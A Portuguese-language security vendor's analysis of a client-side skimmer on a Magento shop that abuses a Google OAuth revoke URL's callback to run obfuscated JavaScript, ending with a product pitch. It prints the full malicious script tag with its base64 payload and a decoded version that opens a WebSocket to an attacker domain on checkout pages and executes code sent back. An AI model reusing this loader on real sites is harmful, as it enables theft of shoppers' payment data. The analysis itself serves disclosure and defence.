Resumo: detetar injeção falsa de script OAuth do Google
- Um domínio de confiança abusado: Se o src de um script começa com accounts.google.com, ninguém olha duas vezes. É por isso que os atacantes apontaram um callback para lá e injetaram JavaScript em base64 no parâmetro do URL para correr dentro da sua página de checkout.
- Como a cside o apanhou: No site Magento parts[.]expert, a cside apanhou um URL de revoke OAuth armado a correr eval(atob(...)) e a abrir um WebSocket para livechatinc[.]network/chatpipe/029/, um domínio marcado como malicioso no VirusTotal. O script só disparava em URLs de checkout, pelo que um crawler estático não o teria detetado.
- Confie no comportamento: Deixe de confiar num script apenas pelo seu domínio de origem. Confie no comportamento em runtime. Se um URL do Google está a abrir um WebSocket para um domínio de chat durante o checkout, ou a sua plataforma vê isso em tempo real, ou os seus clientes pagam o preço do atraso.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
Analisámos um ataque client-side engenhoso num site de eCommerce baseado em Magento, o parts[.]expert. Embora não seja um domínio de tráfego elevado, a técnica de injeção utilizada aqui merece atenção, porque se esconde à vista de todos.
O atacante está a usar o 'Google.com' para entregar e executar o seu próprio código e explorar medidas de segurança OAuth, o que pode potencialmente comprometer credenciais de contas Google e tokens de acesso.
O Que Encontrámos
O nosso sistema sinalizou um script proveniente de um URL inesperado:
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

À primeira vista, parece um URL legítimo de logout OAuth do servidor de autorização:
accounts.google.com/o/oauth2/revoke.
Mas, olhando mais de perto, o parâmetro callback foi armado para executar um payload JavaScript ofuscado através de eval(atob(...)).

Análise Passo a Passo
O payload codificado em base64 embutido no callback é descodificado noutro script ofuscado que cria dinamicamente uma ligação WebSocket maliciosa para um domínio controlado pelo atacante, um risco de segurança WebSocket. Descodificado, lê-se:
(function() {
let setupMaliciousWebSocket = () => {
// Connect to attacker's WebSocket server
const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");
// Execute any code received from the server
ws.onmessage = (event) => {
const maliciousCode = atob(event.data); // Decode Base64
new Function(maliciousCode).call(event.target); // Execute dynamically
};
};
// Run if:
// 1. The browser is automated (e.g., bots), OR
// 2. The URL contains 'checkout' (e.g., payment page)
if (navigator.webdriver || window.location.href.match('checkout')) {
setupMaliciousWebSocket();
}
})();
O Que o Script Faz
- Liga-se a um Servidor WebSocket Malicioso se a página contiver checkout no URL, ou se o navegador parecer automatizado. Abre uma ligação wss:// para livechatinc[.]network/chatpipe/029/, um domínio já sinalizado como malicioso (link do VirusTotal) e um exemplo claro de um ataque WebSocket em ação.
- Recebe e Executa Payloads Remotos: Quaisquer mensagens codificadas em base64 enviadas através do WebSocket são descodificadas e executadas com new Function(...). Isto dá ao atacante capacidades totais de execução remota dentro da sessão do navegador do utilizador, uma técnica frequentemente usada em phishing OAuth e outros ataques OAuth, e pode levar a uma violação de dados, intercetando informações sensíveis como dados de endereço de e-mail e detalhes de pagamento.
- Consciente do Momento e do Contexto: O script ativa-se especificamente em páginas de checkout, provavelmente para intercetar dados de pagamento ou injetar elementos fraudulentos em tempo real.
Porque É Que Isto Importa
- Parece Legítimo: Parece carregar a partir de um domínio Google, assemelhando-se a tráfego de vulnerabilidades do Google OAuth, pelo que a maioria das ferramentas de segurança confiaria nele cegamente. Uma CSP não conseguirá detetar este ataque, uma vez que o domínio de confiança Google.com passará. Um filtro DNS no dispositivo do utilizador também não seria eficaz.
- Contorna Scanners Estáticos: A lógica perigosa está aninhada em duas camadas de ofuscação e só é executada sob condições específicas. Isso torna-a especialmente difícil de detetar para organizações sem um avaliador de segurança qualificado (QSA).
- Controlo em Tempo Real: Payloads baseados em WebSocket permitem que os atacantes enviem lógica maliciosa dinâmica com base nas ações do utilizador.
Já vimos antes casos de personificação de domínio e loaders ofuscados, mas esta combinação de desvio de OAuth com controlo ao vivo ativado condicionalmente vai um passo mais além.
A cside identificou e apanhou este ataque. Recebemos o payload completo do script obtido e analisamo-lo antes de ser enviado ao navegador.
Pode criar uma conta ou marcar uma demonstração aqui.









